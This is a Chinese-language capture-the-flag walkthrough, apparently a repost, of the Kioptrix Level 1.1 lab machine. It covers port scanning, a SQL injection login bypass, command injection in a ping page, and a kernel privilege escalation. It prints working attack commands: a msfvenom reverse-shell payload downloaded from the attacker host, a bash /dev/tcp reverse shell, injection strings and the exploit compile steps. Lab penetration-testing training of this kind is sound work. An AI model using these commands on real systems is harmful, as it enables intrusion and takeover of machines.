KIOPTRIX: LEVEL 1.1 (#2) 常规命令注入+内核提权

这篇具有很好参考价值的文章主要介绍了KIOPTRIX: LEVEL 1.1 (#2) 常规命令注入+内核提权。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

🔥系列专栏:Vulnhub靶机渗透系列
🔥欢迎大佬:👍点赞⭐️收藏➕关注
🔥首发时间: 2023年8月20日
🌴如有错误 还望告知 万分感谢

目录
  • 🌴 基本信息:
  • 🌴 信息收集
    • 主机发现、端口扫描、服务枚举、脚本漏扫(nmap)
    • PORT 111 rpcbind
    • PORT 631 ipp
    • 目录扫描(dirsearch、gobuster)
    • PORT 80 HTTP - sqli(sqlmap)🔑
    • PORT 80 HTTP - rce(commix)🔑
    • PORT 22 ssh 登录
  • 🌴 shell as user(msfvonom、msf)🔑
  • 🌴 二次收集
    • 提权信息收集(LinEnum)
    • 漏洞探针(linux-exploit-suggester)
  • 🌴 shell as root (内核提权)🔑
  • 🌴 其他
    • 敏感信息-数据库配置文件
    • commix工具生成shell反弹 🔑
    • 提权信息枚举一些其他信息
  • 🌴 思路总结
  • 🌴 技巧

🌴 基本信息:

KIOPTRIX:LEVEL1.1(#2),vulnhub平台下简单难度靶机。信息搜集需要总结什么情况下把信息归结为干扰信息,从利用选择到信息搜集和枚举以及反弹shel的l获得,要思考从哪里作为入口能更快速解决战场。实战就是这样,大处的利用你要会,小的知识点、技能点也不能含糊。小试牛刀一下三种反弹shell的方式,很精彩的一台以RCE为主的靶机,值得研究和学习。提权阶段是内核提权,锻炼渗透思维的好机器。

此外,网页表格无法正常加载,是由于css属性缺失个单引号 <td align='center>,burp改包加上。

名称 说明
靶机下载链接 https://www.vulnhub.com/entry/kioptrix-level-11-2,23/
作者 Kioptrix
发布日期 11 Feb 2011
难度 easy
攻击机(kali) ip:192.168.80.148
靶机(CentOS) ip:192.168.80.177

🌴 信息收集

主机发现、端口扫描、服务枚举、脚本漏扫(nmap)

nmap 192.168.80.0/24 -sn --min-rate 1000
nmap 192.168.80.177 -sT -p- --min-rate 1000 -oA nmap_result/port_scan
nmap 192.168.80.177 -sU --top-ports -oA nmap_resule/portudp_scan
nmap 192.168.80.177 -p $port -sT -sV -O -sC -oA nmap_result/server_info
nmap 192.168.80.177 -p $port --script=vuln -oA nmap_result/vuln_info

port=$(grep open nmap_result/port_scan.nmap|grep open|awk -F '/' '{print $1}'|paste -sd ',') 

开放端口tcp 22,80,111,443,620,631,3306

22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
80/tcp open http Apache httpd 2.0.52 ((CentOS))
111/tcp open rpcbind 2 (RPC #100000)
443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS))
624/tcp open status 1 (RPC #100024)
631/tcp open ipp CUPS 1.1
3306/tcp open mysql MySQL (unauthorized)

PORT 111 rpcbind

没有枚举出其他值得注意的服务

searchsploit rpcbind
nmap -sSUC -p111 192.168.10.1

PORT 631 ipp

ipp协议 打印机相关

searchsploit CUPS 1.1

KIOPTRIX: LEVEL 1.1 (#2) 常规命令注入+内核提权

7550.c 可能可以本地提权

目录扫描(dirsearch、gobuster)

未找到隐藏文件和其他有用的目录

dirsearch -u "http://192.168.80.177" -o dirsearch_info
gobuster dir -u http://192.168.80.177 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -o gobuster_info

PORT 80 HTTP - sqli(sqlmap)🔑

KIOPTRIX: LEVEL 1.1 (#2) 常规命令注入+内核提权

<1>登录功能(http://192.168.80.177/),使用万能密码' or 1=1#成功登录(或者使用sqlmap检测注入点),进入的新页面具有ping功能。

sqlmap -u "http://192.168.80.177" --data="uname=admin&psw=admin&btnLogin=Login" --risk 3 -D "webapp" -T users -C password,username --dump

KIOPTRIX: LEVEL 1.1 (#2) 常规命令注入+内核提权

从webapp库users表 获取到以下用户凭证信息:admin/5afac8d85f 和 john/66lajGGbla

PORT 80 HTTP - rce(commix)🔑

<2>网页ping功能

ping功能。请求用burp捕捉保存到文件post,使用commix工具检测命令注入,发现不需要闭合直接拼接。

commix -r /home/wsec/kioptrix2/post -p ip

127.0.0.1|ls
127.0.0.1|cat<pingit.php
127.0.0.1|wohami

KIOPTRIX: LEVEL 1.1 (#2) 常规命令注入+内核提权

KIOPTRIX: LEVEL 1.1 (#2) 常规命令注入+内核提权

存在RCE,请求包中ip参数的POC为 127.0.0.1;id

PORT 22 ssh 登录

searchsploit OpenSSH 3.9

ssh -oHostKeyAlgorithms=+ssh-dss admin@192.168.80.140
ssh -oHostKeyAlgorithms=+ssh-dss john@192.168.80.140

opebssh版本未找到可利用的,用sqlmap获取到的两个凭证也无法SSH登录。想到网页存在RCE,尝试利用RCE反弹shell。

🌴 shell as user(msfvonom、msf)🔑

msfvenom生成后门命名为shell4444,开启http服务上传shell给靶机下载,msf进行监听,然后靶场执行shell,成功反弹shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.148 LPOTR=4444 -b "\x00" -e x86/shikata_ga_nai -f elf -o shell4444
python3 -m http.server --bind 0.0.0.0 8080
127.0.1.1|curl http://192.168.80.148:8080/shell4444 -o /tmp/shell
127.0.1.1|chmod u+x /tmp/shell;/tmp/shell
127.0.1.1|chmod u+x /tmp/shell;(/tmp/shell &)	#为了使shell后台运行

//最直接的方法是kali监听直接在网页反弹 127.0.0.1|bash -i >& /dev/tcp/192.168.80.148/2233 0>&1,nc -lvp 2233

KIOPTRIX: LEVEL 1.1 (#2) 常规命令注入+内核提权

拿到apache用户权限。

🌴 二次收集

提权信息收集(LinEnum)

自动执行提权过程中可能用到的几十条命令并整理输出,有关键的发现会以黄色标题突出显示。

python3 -m http.server --bind 0.0.0.0 8080

//靶机
wget 192.168.80.148:8080/LinEnum.sh
./LinEnum.sh -r linenum_info -e /tmp/ -t

KIOPTRIX: LEVEL 1.1 (#2) 常规命令注入+内核提权

从枚举的一些信息中,列出了目标靶机版本信息、用户信息、权限信息、环境信息、第三方软件信息,进程信息等

漏洞探针(linux-exploit-suggester)

./linux-exploit-suggester.sh
./linux-exploit-suggester.sh -g

靶机bash版本太低无法执行,直接手动在漏洞库搜对应版本漏洞

🌴 shell as root (内核提权)🔑

Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1),对应的是9542.c。(CVE-2009-2698))

攻击机漏洞库提取9542.c,开启http服务靶机wget到/tmp目录。靶机远程下载9542.c,gcc编译后执行

searchsploit Linux Kernel 2.6 Centos
searchsploit -m 9542
python3 -m http.server --bind 0.0.0.0 8080


gcc 9542.c -o test9542
./test9542

KIOPTRIX: LEVEL 1.1 (#2) 常规命令注入+内核提权

成功拿到root权限。

🌴 其他

敏感信息-数据库配置文件

apache权限,/vat/www/html/index.php 记录了mysql连接用户名密码,可以从这点切入到数据库。

mysql -uroot -phiroshima -e "select User,Password from mysql.user;"
mysql -ujohn -phiroshima -e "select * from webapp.users;"

KIOPTRIX: LEVEL 1.1 (#2) 常规命令注入+内核提权

mysql.user 发现所有用户密码相同。webapp.users 可以查看到所有web登录凭据。

commix工具生成shell反弹 🔑

web渗透检测RCE时就可以直接在commix工具生成反弹shell

KIOPTRIX: LEVEL 1.1 (#2) 常规命令注入+内核提权

提权信息枚举一些其他信息

### SYSTEM ##############################################
Linux version 2.6.9-55.EL 

[-] Group memberships:
uid=500(john) gid=500(john) groups=500(john)
uid=501(harold) gid=501(harold) groups=501(harold)

### SERVICES #############################################
root      3144  0.0  0.9  5576 1236 ?        S    Aug18   0:00 /bin/sh /usr/bin/mysqld_safe --datadir=/var/lib/mysql --soc
ket=/var/lib/mysql/mysql.sock --err-log=/var/log/mysqld.log --pid-file=/var/run/mysqld/mysqld.pid
mysql     3193  0.1 15.2 126400 19244 ?      Sl   Aug18   0:17 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql
 --user=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --socket=/var/lib/mysql/mysql.sock

### SOFTWARE #############################################
[-] Sudo version:
Sudo version 1.6.7p5
[-] MYSQL version:
mysql  Ver 14.7 Distrib 4.1.22, for redhat-linux-gnu (i686) using readline 4.3
[-] Apache version:
Server version: Apache/2.0.52
Server built:   May  4 2007 06:25:03

KIOPTRIX: LEVEL 1.1 (#2) 常规命令注入+内核提权

mysql服务不是以高权限运行而是以mysql用户运行

/var/spool/mail 有root用户的邮件信息,但无权查看

sudo版本无法利用,mysql没有存在可用的漏洞,apache有一个dos漏洞

🌴 思路总结

一、主机发现、端口扫描

  • 22(ssh):只能尝试爆破

  • 80(http):优先考虑

  • 111(rpc):放最后

  • 443(https):优先考虑

  • 631(ipp):打印机共享使用地端口。放最后考虑

  • 3306(mysql):优先考虑

二、服务枚举。

  • Apache 2.0.52
  • Mysql 版本未知

三、从端口出发,看有没有可以利用的漏洞,首先是端口80。

  • 登录功能,使用万能密码成功登录,并用sqlmap进行注入获取到了数据库存储的两个用户凭据(但尝试ssh失败)。

  • 网页ping功能,使用commix检测出了页面存在RCE。

  • 使用msfvonom生成的后门,利用RCE漏洞构造请求让目标执行后门程序,MSF成功监听到信息,拿到apache权限,获得系统立足点。

四、提权阶段使用 LinEnum 收集目标提权所涉及到的相关信息,而后使用内核提权成功拿到root权限。

🌴 技巧

  1. 反弹shell时设置的端口最好是常用端口,不常用的端口可能会被防火墙给拦截掉。
  2. linux内核提权时,可以在靶机上远程下载攻击机上准备好的的poc,在靶机进行gcc编译,避免由于环境问题。只有目标机器上将目录切换到/tmp才有下载文件的权限。
  3. https://gtfobins.github.io/ 收录了可利用的二进制文件,以及如何获得root权限
  4. 直接udf提权遇到waf的话会被拦截禁止执行系统函数。使用端口转发过掉防护
  5. 可能EXP太多,要尝试缩小搜索范围,做出权衡与比对。例如系统内核信息

参考链接 Hack The Kioptrix Level-1.1

本文部分图文来源于网络,仅作学术分享,实验环境是本地搭建的靶机,目的在于维护网络安全,不做任何导向。如果非法使用,一切法律后果自行承担。
转载请标明出处 https://www.cnblogs.com/wsec/文章来源地址https://www.toymoban.com/news/detail-661624.html

到了这里,关于KIOPTRIX: LEVEL 1.1 (#2) 常规命令注入+内核提权的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 通过条件竞争实现内核提权

    条件竞争漏洞(Race Condition Vulnerability)是一种在多线程或多进程并发执行时可能导致不正确行为或数据损坏的安全问题。这种漏洞通常发生在多个线程或进程试图访问和修改共享资源(如内存、文件、网络连接等)时,由于执行顺序不确定或没有适当的同步措施,导致竞争条

    2024年02月08日
    浏览(47)
  • Windows系统内核溢出漏洞提权

    目录  Windows内核溢出漏洞原理 溢出漏洞简介 什么是缓冲区 缓冲区溢出 缓冲区溢出目的 Windows内核溢出漏洞利用流程 提权实战思路 手工提权测试 辅助提权 EXP如何寻找 使用MSF提权 关于提权时可能遇到的问题 如果提权的时候发现无法执行命令的话,可以上传一个cmd.exe到可读

    2024年02月07日
    浏览(36)
  • 内网安全—Windows系统内核溢出漏洞提权

    系统内核溢出漏洞提权         往缓冲区中写入超出限定长度的内容,造成缓冲区溢出,从而破坏程序的堆栈进而运行自己精心准备的指定代码,达到攻击的目的。 分类:         堆溢出         栈溢出 查找补丁的方法          1、手工查找补丁情况      

    2024年02月03日
    浏览(44)
  • 操作系统权限提升(三)之Windows系统内核溢出漏洞提权

    系列文章 操作系统权限提升(一)之操作系统权限介绍 操作系统权限提升(二)之常见提权的环境介绍 注:阅读本编文章前,请先阅读系列文章,以免造成看不懂的情况!!! 溢出提权是指攻击者利用系统本身或系统中软件的漏洞来获取 Windows操作系统System权限,其中溢出,提权

    2024年02月14日
    浏览(35)
  • [漏洞分析] 用chatGPT分析CVE-2023-0386 overlay内核提权

    本文的理论知识(命名空间、overlay文件系统、fuse文件系统等)均来自chatGPT。 漏洞编号: CVE-2023-0386 漏洞产品: linux kernel - overlay文件系统 影响范围: 5.11 ~ 5.19 利用条件: 可以unshar 或可以创建overlay文件系统 利用效果: 本地提权 自己编译内核: 准备漏洞版本范围内的,5.15版本之

    2024年02月05日
    浏览(41)
  • Windows内核--源代码在哪里?(1.1)

        大部分人能看到这篇帖子, 想必已经用过Windows系统多年了... 想清楚Windows技术内幕,就需要逆向工具。幸运的是: WRK源代码(Windows Research Kernel) (XP/Server 2003) Windows 2000源代码(Kernel和用户层)  深入解析Windows操作系统(最新第七版, Windows 10) Windows内核原理与实现 Windows核心编程

    2024年02月08日
    浏览(49)
  • HackTheBox Soccer 通过WebSockets进行SQL注入,Doas与Dstat插件提权

    靶机网址: 使用nmap枚举靶机 机子开放了22,80和9091端口,我们本地dns解析这个域名 然后fuzz网站根目录 扫到一个目录,去网站上看看 看起来这是一个后台的登录页面,这个后台的框架名叫Tiny File Manager,在github上是开源的 在这下面可以看到默认的用户名和密码,我们登录试

    2023年04月13日
    浏览(34)
  • 驱动开发:内核ShellCode线程注入

    还记得 《驱动开发:内核LoadLibrary实现DLL注入》 中所使用的注入技术吗,我们通过 RtlCreateUserThread 函数调用实现了注入DLL到应用层并执行,本章将继续探索一个简单的问题,如何注入 ShellCode 代码实现反弹Shell,这里需要注意一般情况下 RtlCreateUserThread 需要传入两个最重要的

    2024年02月08日
    浏览(48)
  • 驱动开发:内核远程线程实现DLL注入

    在笔者上一篇文章 《内核RIP劫持实现DLL注入》 介绍了通过劫持RIP指针控制程序执行流实现插入DLL的目的,本章将继续探索全新的注入方式,通过 NtCreateThreadEx 这个内核函数实现注入DLL的目的,需要注意的是该函数在微软系统中未被导出使用时需要首先得到该函数的入口地址

    2024年02月10日
    浏览(38)
  • 驱动开发:内核LoadLibrary实现DLL注入

    远程线程注入是最常用的一种注入技术,在应用层注入是通过 CreateRemoteThread 这个函数实现的,该函数通过创建线程并调用 LoadLibrary 动态载入指定的DLL来实现注入,而在内核层同样存在一个类似的内核函数 RtlCreateUserThread ,但需要注意的是此函数未被公开, RtlCreateUserThread 其

    2024年02月08日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包